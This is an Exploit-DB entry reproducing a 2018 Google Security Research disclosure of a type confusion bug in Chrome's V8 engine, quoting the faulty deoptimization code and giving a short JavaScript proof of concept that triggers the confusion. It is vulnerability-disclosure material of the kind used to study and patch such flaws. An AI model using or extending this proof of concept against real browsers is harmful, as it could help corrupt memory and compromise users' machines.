Chrome V8 – ‘TranslatedState::MaterializeCapturedObjectAt’ Type Confusion

  • 作者: Google Security Research
    日期: 2018-02-27
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44180/
  • /*
    Here'a snippet of TranslatedState::MaterializeCapturedObjectAt.
    case JS_SET_KEY_VALUE_ITERATOR_TYPE:
    case JS_SET_VALUE_ITERATOR_TYPE: {
    Handle<JSSetIterator> object = Handle<JSSetIterator>::cast(
    isolate_->factory()->NewJSObjectFromMap(map, NOT_TENURED));
    Handle<Object> properties = materializer.FieldAt(value_index);
    Handle<Object> elements = materializer.FieldAt(value_index);
    Handle<Object> table = materializer.FieldAt(value_index);
    Handle<Object> index = materializer.FieldAt(value_index);
    object->set_raw_properties_or_hash(*properties);
    object->set_elements(FixedArrayBase::cast(*elements));
    object->set_table(*table);
    object->set_index(*index);
    return object;
    }
    case JS_MAP_KEY_ITERATOR_TYPE:
    case JS_MAP_KEY_VALUE_ITERATOR_TYPE:
    case JS_MAP_VALUE_ITERATOR_TYPE: {
    Handle<JSMapIterator> object = Handle<JSMapIterator>::cast(
    isolate_->factory()->NewJSObjectFromMap(map, NOT_TENURED));
    Handle<Object> properties = materializer.FieldAt(value_index);
    Handle<Object> elements = materializer.FieldAt(value_index);
    Handle<Object> table = materializer.FieldAt(value_index);
    Handle<Object> index = materializer.FieldAt(value_index);
    object->set_raw_properties_or_hash(*properties);
    object->set_elements(FixedArrayBase::cast(*elements));
    object->set_table(*table);
    object->set_index(*index);
    return object;
    }
    
    For these 5 types, it doesn't cache the created objects like "slot->value_ = object". This can be used to create different objects but sharing the same properties which may lead to type confusion.
    
    PoC:
    */
    
    function opt(b) {
    let iterator = new Set().values();
    iterator.x = 0;
    
    let arr = [iterator, iterator];
    if (b)
    return arr.slice();
    }
    
    for (let i = 0; i < 100000; i++)
    opt(false);
    
    let res = opt(true);
    let a = res[0];
    let b = res[1];
    
    print(a === b);// false
    a.x = 7;
    
    print(b.x);// 7
    
    a.a = 1.1;// transition
    b.b = 0x1234;
    a.a = 1.1;// type confusion